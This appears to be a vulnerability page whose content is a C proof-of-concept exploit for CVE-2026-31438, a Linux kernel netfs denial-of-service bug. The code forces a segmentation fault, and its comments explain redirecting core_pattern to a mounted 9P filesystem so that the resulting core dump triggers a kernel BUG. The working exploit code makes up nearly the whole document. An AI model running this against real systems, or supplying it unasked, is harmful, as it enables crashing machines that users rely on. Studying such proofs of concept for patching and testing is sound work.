CVE-2026-31438 Linux内核netfs拒绝服务漏洞

/* * PoC for CVE-2026-31438 * Trigger: Kernel BUG by writing core dump to 9P filesystem * Condition: A 9P filesystem must be mounted and core dumps enabled */ #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <sys/types.h> #include <unistd.h> void force_crash() { // Cause a segmentation fault to trigger a core dump int *p = NULL; *p = 0xDEADBEEF; } int main() { printf("[+] Attempting to trigger CVE-2026-31438...\n"); // Prerequisite: Ensure core dumps are directed to a mounted 9P filesystem. // Example: echo "/mnt/9p_share/core" > /proc/sys/kernel/core_pattern // This requires root privileges to configure, but the crash itself is low priv. printf("[+] Triggering crash to generate core dump on 9P FS...\n"); force_crash(); return 0; }